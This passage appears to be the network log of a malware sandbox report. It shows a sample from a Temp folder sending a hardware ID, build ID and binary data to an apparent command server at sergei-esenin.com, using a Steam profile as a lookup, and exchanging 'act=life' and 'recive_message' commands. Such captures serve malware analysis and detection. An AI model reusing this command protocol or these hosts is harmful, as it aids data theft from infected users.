2024-10-24 16:09:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50016	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:38 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 16:09:38 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:38 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 16:09:39 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l5drhrqsllmn7cov0340j4m821; expires=Mon, 17 Feb 2025 09:56:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fYVAOGvEDt4apQtJV8ME6vwCUkJQ3tg1KKCx%2B059ApCIykSqQja3FX61xqiV0r2MnZYNnAmDoGkc%2BSF90Tqp2pUSeD7i7Y04F3Sst6XJvG%2Fv0qCE4IWuZc1x7kVUr1taZDVaDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b805ff6d5db-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1316&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=2110787&cwnd=57&unsent_bytes=0&cid=c94284bfc4d7268b&ts=566&x=0"
2024-10-24 16:09:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50017	104.102.49.254	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:38 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 16:09:39 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 16:09:39 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=412fc5b1998bd96d3876b22d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 16:09:39 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 16:09:39 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 16:09:39 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 16:09:39 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50024	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:40 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 16:09:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 16:09:40 UTC	560	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 16:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PVgP%2FpJAkODjj9ZyKIQSqCe5320uD7IlWdEv2xxHsrZNnJf2UDxpE%2BCqyFFPWjBuCc30clNcIiUXYAgdnzQpYe6wunxdRknx9ao0GjhFcbrtSHaKKXGIdzd5vzRQ9%2FdCTqJiNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b8b5a2153c6-ATL
2024-10-24 16:09:40 UTC	809	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 16:09:40 UTC	1369	IN	Data Raw: 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 Data Ascii: i/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementB
2024-10-24 16:09:40 UTC	1369	IN	Data Raw: 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: s-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 16:09:40 UTC	897	IN	Data Raw: 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e Data Ascii: </span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landin
2024-10-24 16:09:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50028	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:42 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 16:09:42 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 16:09:43 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s6neq2uum85s49808fr44pe12n; expires=Mon, 17 Feb 2025 09:56:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NCuK83KH7qUcVox%2Fdr2vfWPJfpaPCVlBfrOidDdKT6xUmgiw3%2BkKlSpD3zSKdR9lBwx7OH7xeT8c%2B0Puxsre9vqPgs28pyjIVI3oKuuwrFg8FFnKj6b6VrEQ5N4hY7Gw2MrNEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b99d8be453d-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17606&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1042&delivery_rate=164452&cwnd=32&unsent_bytes=0&cid=e323b7d30aaeb4a9&ts=518&x=0"
2024-10-24 16:09:43 UTC	354	IN	Data Raw: 31 64 38 32 0d 0a 38 45 50 38 6f 38 45 49 31 57 4a 65 66 46 59 74 50 7a 32 34 58 6f 47 33 6c 69 51 33 5a 48 30 6e 73 39 30 35 69 70 6c 74 78 47 32 4c 59 59 71 42 2b 7a 7a 35 51 43 30 5a 64 42 64 4c 54 38 30 37 72 5a 58 33 51 42 56 65 47 30 62 66 72 6c 79 6d 75 78 75 70 54 38 6f 6c 6e 63 2b 79 62 66 6c 41 4f 77 52 30 46 32 52 47 6d 6a 76 76 6c 61 77 47 55 67 34 66 52 74 2b 2f 57 4f 48 32 48 61 67 4f 6d 43 2b 62 79 36 52 72 73 51 4d 79 45 54 4e 49 57 6c 7a 53 4d 4f 6a 61 2f 6b 6b 56 53 46 39 43 79 66 38 44 71 4e 51 49 73 41 79 39 49 6f 2f 49 34 33 58 35 47 58 77 5a 4f 41 38 46 48 39 6b 37 34 39 76 77 51 46 77 4d 46 55 2f 58 76 6c 33 67 36 51 53 69 42 5a 67 68 6d 4d 71 75 59 71 55 4f 4f 42 59 34 54 6c 42 63 6d 6e 4b 6a 30 75 77 47 44 55 5a 4d 64 39 4b 75 53 Data Ascii: 1d828EP8o8EI1WJefFYtPz24XoG3liQ3ZH0ns905ipltxG2LYYqB+zz5QC0ZdBdLT807rZX3QBVeG0bfrlymuxupT8olnc+ybflAOwR0F2RGmjvvlawGUg4fRt+/WOH2HagOmC+by6RrsQMyETNIWlzSMOja/kkVSF9Cyf8DqNQIsAy9Io/I43X5GXwZOA8FH9k749vwQFwMFU/Xvl3g6QSiBZghmMquYqUOOBY4TlBcmnKj0uwGDUZMd9KuS
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 5a 37 63 53 4e 42 55 2f 53 6b 39 55 30 7a 48 75 31 66 6c 4d 57 67 55 66 51 74 75 31 56 4f 4c 2f 41 71 73 4a 6b 69 48 65 6a 2b 4e 74 72 30 42 6b 58 68 64 4b 54 56 6a 57 4b 71 48 76 74 46 6b 62 48 31 39 43 33 66 38 44 71 50 4d 4b 70 51 79 5a 4c 70 33 4a 71 48 69 33 45 6a 6f 54 4d 56 31 62 57 74 51 32 34 4d 66 2b 53 46 4d 46 46 6b 37 59 75 6c 7a 73 75 30 48 6d 43 49 70 68 78 6f 47 43 5a 37 77 4d 4e 67 6b 30 44 30 49 52 77 33 7a 6b 32 62 51 65 46 51 49 65 51 64 43 37 56 65 62 2f 41 36 41 42 6e 79 36 59 79 36 4e 74 76 51 67 30 48 7a 6c 45 55 6c 2f 66 4d 65 66 54 2b 45 64 51 52 6c 45 46 31 71 63 62 73 4c 73 68 6f 51 79 41 59 36 76 43 72 57 53 77 46 6e 77 42 65 6c 59 64 57 4e 5a 38 75 35 58 36 51 31 6f 55 48 6c 66 55 73 55 6e 6b 2f 67 6d 72 44 4a 77 68 6d 38 61 Data Ascii: Z7cSNBU/Sk9U0zHu1flMWgUfQtu1VOL/AqsJkiHej+Ntr0BkXhdKTVjWKqHvtFkbH19C3f8DqPMKpQyZLp3JqHi3EjoTMV1bWtQ24Mf+SFMFFk7Yulzsu0HmCIphxoGCZ7wMNgk0D0IRw3zk2bQeFQIeQdC7Veb/A6ABny6Yy6NtvQg0HzlEUl/fMefT+EdQRlEF1qcbsLshoQyAY6vCrWSwFnwBelYdWNZ8u5X6Q1oUHlfUsUnk/gmrDJwhm8a
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 6e 77 42 65 6c 59 64 57 4e 5a 38 75 35 58 34 54 31 55 4e 46 55 48 52 75 46 62 74 2b 41 69 6c 41 70 55 72 6b 4d 61 6e 5a 72 34 4e 4f 68 34 7a 53 31 68 4e 33 7a 58 76 32 62 51 49 46 51 45 48 42 59 6e 2f 64 4f 2f 74 44 49 6b 4d 67 79 6a 65 33 75 31 7a 39 77 63 77 58 6d 77 50 57 6c 72 53 4e 2b 58 64 39 46 52 51 43 42 52 45 32 37 6c 61 35 66 63 4a 70 67 36 53 4a 35 4c 42 70 47 32 6c 45 6a 6b 59 4a 6b 55 64 45 5a 6f 37 2b 35 57 73 42 6d 4d 57 43 46 54 48 2f 57 37 72 39 51 47 68 47 64 49 2b 30 4e 6a 6a 62 62 74 41 5a 46 34 2f 54 31 46 59 30 6a 72 6e 33 66 74 4a 58 42 51 65 53 64 2b 74 58 4f 6a 79 41 61 6b 44 6d 79 79 5a 7a 4b 68 67 75 67 51 37 48 33 51 42 48 56 6a 43 66 4c 75 56 77 6c 5a 59 43 6a 46 4f 33 62 59 62 39 37 55 57 35 67 69 65 59 63 61 42 70 32 61 2f Data Ascii: nwBelYdWNZ8u5X4T1UNFUHRuFbt+AilApUrkManZr4NOh4zS1hN3zXv2bQIFQEHBYn/dO/tDIkMgyje3u1z9wcwXmwPWlrSN+Xd9FRQCBRE27la5fcJpg6SJ5LBpG2lEjkYJkUdEZo7+5WsBmMWCFTH/W7r9QGhGdI+0NjjbbtAZF4/T1FY0jrn3ftJXBQeSd+tXOjyAakDmyyZzKhgugQ7H3QBHVjCfLuVwlZYCjFO3bYb97UW5gieYcaBp2a/
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 46 4b 57 56 6a 65 4f 75 79 56 75 67 5a 53 48 6c 38 64 6b 5a 42 38 33 62 6b 75 6e 45 2b 4e 62 34 65 42 70 47 62 33 57 48 77 53 4e 30 4e 56 55 4e 77 31 37 39 2f 39 54 56 6b 4e 47 30 6e 59 75 6c 33 70 2f 67 71 6e 43 35 34 72 6d 4d 4b 67 5a 62 67 50 4e 46 35 36 44 31 70 48 6d 6d 53 6a 38 4f 4e 4e 57 77 42 66 57 70 2b 6d 47 2b 2f 33 54 2f 35 50 6e 69 69 59 78 36 5a 6d 74 67 59 30 47 7a 78 4c 58 46 6e 63 50 2b 7a 52 38 55 64 61 41 68 4e 4c 32 37 35 61 35 50 41 41 72 51 72 53 62 39 37 47 75 79 72 76 51 41 30 64 49 6c 68 4e 55 35 6f 6a 72 63 79 30 51 56 6c 47 52 77 58 51 72 56 48 69 39 51 71 70 43 70 45 75 6d 63 79 6c 5a 72 30 4a 4e 42 67 37 52 6b 39 63 31 6a 4c 6b 32 2f 68 49 57 41 77 63 53 4a 48 78 47 2b 2f 6a 54 2f 35 50 76 69 61 54 37 36 68 6d 73 45 41 6a 55 Data Ascii: FKWVjeOuyVugZSHl8dkZB83bkunE+Nb4eBpGb3WHwSN0NVUNw179/9TVkNG0nYul3p/gqnC54rmMKgZbgPNF56D1pHmmSj8ONNWwBfWp+mG+/3T/5PniiYx6ZmtgY0GzxLXFncP+zR8UdaAhNL275a5PAArQrSb97GuyrvQA0dIlhNU5ojrcy0QVlGRwXQrVHi9QqpCpEumcylZr0JNBg7Rk9c1jLk2/hIWAwcSJHxG+/jT/5PviaT76hmsEAjU
